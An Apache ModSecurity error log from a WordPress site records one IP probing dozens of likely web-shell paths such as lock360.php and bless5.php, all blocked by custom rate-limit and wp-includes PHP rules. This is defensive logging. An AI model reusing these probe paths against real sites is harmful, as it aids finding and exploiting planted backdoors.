[Fri Jan 02 07:31:09.257170 2026] [:error] [pid 63100:tid 63161] [client 172.161.146.188:14638] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVcDvTuUXUKd3KTnKl-_IAAAAIA"]
[Fri Jan 02 07:31:09.880196 2026] [:error] [pid 63100:tid 63183] [client 172.161.146.188:4969] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVcDvTuUXUKd3KTnKl-_IgAAAJY"]
[Fri Jan 02 07:31:10.539668 2026] [:error] [pid 63100:tid 63164] [client 172.161.146.188:14636] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVcDvjuUXUKd3KTnKl-_JAAAAIM"]
[Fri Jan 02 07:31:11.095090 2026] [:error] [pid 63099:tid 63147] [client 172.161.146.188:5041] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVcDv8mCZokRPYUhzvg4vAAAAE0"]
[Fri Jan 02 07:31:12.065814 2026] [:error] [pid 63098:tid 63110] [client 172.161.146.188:5092] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVcDwMez9k78gUs48kqzbgAAAAM"]
[Fri Jan 02 07:31:12.737203 2026] [:error] [pid 63100:tid 63182] [client 172.161.146.188:5108] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVcDwDuUXUKd3KTnKl-_KAAAAJU"]
[Fri Jan 02 07:31:13.635236 2026] [:error] [pid 63098:tid 63107] [client 172.161.146.188:5010] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVcDwcez9k78gUs48kqzdAAAAAA"]
[Fri Jan 02 07:31:14.435137 2026] [:error] [pid 63100:tid 63178] [client 172.161.146.188:4934] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVcDwjuUXUKd3KTnKl-_KQAAAJE"]
[Fri Jan 02 07:31:15.248605 2026] [:error] [pid 63100:tid 63168] [client 172.161.146.188:14695] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVcDwzuUXUKd3KTnKl-_LgAAAIc"]
[Fri Jan 02 07:31:15.894853 2026] [:error] [pid 63098:tid 63111] [client 172.161.146.188:14630] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVcDw8ez9k78gUs48kqzewAAAAQ"]
[Fri Jan 02 07:31:16.549804 2026] [:error] [pid 63099:tid 63157] [client 172.161.146.188:4872] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVcDxMmCZokRPYUhzvg4xAAAAFc"]
[Fri Jan 02 07:31:17.372206 2026] [:error] [pid 63098:tid 63115] [client 172.161.146.188:14645] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVcDxcez9k78gUs48kqzgQAAAAg"]
[Fri Jan 02 07:31:17.907002 2026] [:error] [pid 63100:tid 63177] [client 172.161.146.188:5046] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVcDxTuUXUKd3KTnKl-_MgAAAJA"]
[Fri Jan 02 07:31:18.421395 2026] [:error] [pid 63208:tid 63228] [client 172.161.146.188:14673] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVcDxnKLI9INGPLzfnewTQAAANE"]
[Fri Jan 02 07:31:19.159116 2026] [:error] [pid 63208:tid 63217] [client 172.161.146.188:5054] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVcDx3KLI9INGPLzfnewUQAAAMY"]
[Fri Jan 02 07:31:19.991194 2026] [:error] [pid 63100:tid 63162] [client 172.161.146.188:5057] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVcDxzuUXUKd3KTnKl-_NAAAAIE"]
[Fri Jan 02 07:31:20.607446 2026] [:error] [pid 63099:tid 63150] [client 172.161.146.188:5099] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVcDyMmCZokRPYUhzvg4ywAAAFA"]
[Fri Jan 02 07:31:21.481680 2026] [:error] [pid 63208:tid 63220] [client 172.161.146.188:5114] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVcDyXKLI9INGPLzfnewVgAAAMk"]
[Fri Jan 02 07:31:22.593075 2026] [:error] [pid 63208:tid 63211] [client 172.161.146.188:4937] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVcDynKLI9INGPLzfnewXAAAAMA"]
[Fri Jan 02 07:31:23.699784 2026] [:error] [pid 63099:tid 63136] [client 172.161.146.188:5022] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVcDy8mCZokRPYUhzvg4zwAAAEI"]
[Fri Jan 02 07:31:24.948734 2026] [:error] [pid 63208:tid 63229] [client 172.161.146.188:14675] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVcDzHKLI9INGPLzfnewYQAAANI"]
[Fri Jan 02 07:31:26.055760 2026] [:error] [pid 63099:tid 63137] [client 172.161.146.188:4949] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aVcDzsmCZokRPYUhzvg42QAAAEM"]
[Fri Jan 02 07:31:26.992730 2026] [:error] [pid 63100:tid 63178] [client 172.161.146.188:5037] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aVcDzjuUXUKd3KTnKl-_UQAAAJE"]
[Fri Jan 02 07:31:27.613469 2026] [:error] [pid 63099:tid 63158] [client 172.161.146.188:5008] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aVcDz8mCZokRPYUhzvg43AAAAFg"]
[Fri Jan 02 07:31:28.424441 2026] [:error] [pid 63208:tid 63229] [client 172.161.146.188:5109] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aVcD0HKLI9INGPLzfnewagAAANI"]
[Fri Jan 02 07:31:29.054776 2026] [:error] [pid 63098:tid 63127] [client 172.161.146.188:4936] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVcD0cez9k78gUs48kqzkgAAABQ"]
[Fri Jan 02 07:31:29.741641 2026] [:error] [pid 63208:tid 63225] [client 172.161.146.188:4943] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVcD0XKLI9INGPLzfnewbgAAAM4"]
[Fri Jan 02 07:31:30.515930 2026] [:error] [pid 63208:tid 63213] [client 172.161.146.188:4998] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVcD0nKLI9INGPLzfnewbwAAAMI"]
[Fri Jan 02 07:31:31.249015 2026] [:error] [pid 63098:tid 63130] [client 172.161.146.188:4996] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVcD08ez9k78gUs48kqzlQAAABc"]
[Fri Jan 02 07:31:32.418809 2026] [:error] [pid 63098:tid 63122] [client 172.161.146.188:4986] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aVcD1Mez9k78gUs48kqzmQAAAA8"]
[Fri Jan 02 07:31:32.893487 2026] [:error] [pid 63099:tid 63151] [client 172.161.146.188:14641] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aVcD1MmCZokRPYUhzvg45wAAAFE"]
[Fri Jan 02 07:31:33.617064 2026] [:error] [pid 63098:tid 63113] [client 172.161.146.188:5001] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aVcD1cez9k78gUs48kqzngAAAAY"]
[Fri Jan 02 07:31:34.378165 2026] [:error] [pid 63100:tid 63180] [client 172.161.146.188:14717] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aVcD1juUXUKd3KTnKl-_XAAAAJM"]
[Fri Jan 02 07:31:34.910042 2026] [:error] [pid 63098:tid 63122] [client 172.161.146.188:14594] [client 172.161.146.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aVcD1sez9k78gUs48kqzpgAAAA8"]
[Fri Jan 02 07:31:35.503141 2026] [:error] [pid 63098:tid 63108] [client 172.161.146.188:14675] [client 172.161.146.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aVcD18ez9k78gUs48kqzpwAAAAE"]
[Fri Jan 02 07:31:36.123897 2026] [:error] [pid 63098:tid 63111] [client 172.161.146.188:4947] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVcD2Mez9k78gUs48kqzqQAAAAQ"]
[Fri Jan 02 07:31:36.787512 2026] [:error] [pid 63098:tid 63131] [client 172.161.146.188:4976] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVcD2Mez9k78gUs48kqzrQAAABg"]
[Fri Jan 02 07:31:37.473145 2026] [:error] [pid 63208:tid 63228] [client 172.161.146.188:4953] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVcD2XKLI9INGPLzfneweQAAANE"]
[Fri Jan 02 07:31:38.417205 2026] [:error] [pid 63100:tid 63164] [client 172.161.146.188:5047] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVcD2juUXUKd3KTnKl-_YQAAAIM"]
[Fri Jan 02 07:31:39.103793 2026] [:error] [pid 63098:tid 63130] [client 172.161.146.188:5014] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aVcD28ez9k78gUs48kqzsAAAABc"]
[Fri Jan 02 07:31:39.857245 2026] [:error] [pid 63098:tid 63107] [client 172.161.146.188:5053] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aVcD28ez9k78gUs48kqztAAAAAA"]
[Fri Jan 02 07:31:40.733635 2026] [:error] [pid 63099:tid 63136] [client 172.161.146.188:4884] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aVcD3MmCZokRPYUhzvg5CAAAAEI"]
[Fri Jan 02 07:32:25.256284 2026] [:error] [pid 63208:tid 63225] [client 172.161.146.188:5051] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aVcECXKLI9INGPLzfnew5AAAAM4"]
[Fri Jan 02 07:32:26.320905 2026] [:error] [pid 63208:tid 63213] [client 172.161.146.188:14664] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aVcECnKLI9INGPLzfnew5QAAAMI"]
[Fri Jan 02 07:32:26.994700 2026] [:error] [pid 63100:tid 63169] [client 172.161.146.188:5005] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aVcECjuUXUKd3KTnKl-__QAAAIg"]
[Fri Jan 02 07:32:27.659780 2026] [:error] [pid 63100:tid 63173] [client 172.161.146.188:14714] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aVcECzuUXUKd3KTnKl-__gAAAIw"]
[Fri Jan 02 07:32:28.315298 2026] [:error] [pid 63208:tid 63231] [client 172.161.146.188:14643] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aVcEDHKLI9INGPLzfnew6wAAANQ"]
[Fri Jan 02 07:32:28.946036 2026] [:error] [pid 63098:tid 63109] [client 172.161.146.188:14659] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aVcEDMez9k78gUs48kq0eAAAAAI"]
[Fri Jan 02 07:32:29.592922 2026] [:error] [pid 63100:tid 63180] [client 172.161.146.188:5091] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aVcEDTuUXUKd3KTnKl_AAgAAAJM"]
[Fri Jan 02 07:32:30.321795 2026] [:error] [pid 63208:tid 63214] [client 172.161.146.188:14666] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aVcEDnKLI9INGPLzfnew7gAAAMM"]
[Fri Jan 02 07:32:30.886473 2026] [:error] [pid 63100:tid 63168] [client 172.161.146.188:5012] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aVcEDjuUXUKd3KTnKl_ABgAAAIc"]
[Fri Jan 02 07:32:31.472537 2026] [:error] [pid 63100:tid 63161] [client 172.161.146.188:14606] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aVcEDzuUXUKd3KTnKl_ACQAAAIA"]
[Fri Jan 02 07:32:32.120158 2026] [:error] [pid 63099:tid 63134] [client 172.161.146.188:14602] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aVcEEMmCZokRPYUhzvg5WAAAAEA"]
[Fri Jan 02 07:32:32.949156 2026] [:error] [pid 63208:tid 63220] [client 172.161.146.188:14595] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aVcEEHKLI9INGPLzfnew8AAAAMk"]
[Fri Jan 02 07:32:33.715626 2026] [:error] [pid 63208:tid 63230] [client 172.161.146.188:5108] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aVcEEXKLI9INGPLzfnew8wAAANM"]
[Fri Jan 02 07:32:34.937239 2026] [:error] [pid 63100:tid 63166] [client 172.161.146.188:4840] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aVcEEjuUXUKd3KTnKl_AEAAAAIU"]
